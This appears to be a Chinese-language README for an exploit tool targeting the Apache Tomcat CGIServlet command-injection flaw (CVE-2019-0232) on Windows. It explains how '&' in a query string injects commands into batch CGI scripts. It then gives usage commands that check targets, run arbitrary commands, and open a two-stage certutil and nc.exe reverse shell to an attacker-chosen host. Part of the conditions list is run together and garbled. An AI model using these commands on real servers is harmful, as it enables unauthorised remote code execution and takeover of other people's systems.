
Apache Tomcat CGIServlet enableCmdLineArguments 远程代码执行(RCE)
通过查询字符串参数进行 Windows 批处理脚本注入
当 Apache Tomcat 启用 CGI servlet 且设置 enableCmdLineArguments=true 时,会将查询字符串参数作为命令行参数传递给 CGI 脚本。在 Windows 上,批处理文件(.bat/.cmd)会将 & 解释为命令分隔符,从而允许通过精心构造的 URL 执行任意命令。
conf/web.xml 或 WEB-INF/web.xml 中启用 CGI servletenableCmdLineArguments=trueism.bat)& 注入需要批处理文件)git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt
检查 CGI 端点是否存在:
python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat
执行命令:
python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'
反弹 Shell(两阶段 certutil + nc.exe):
python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444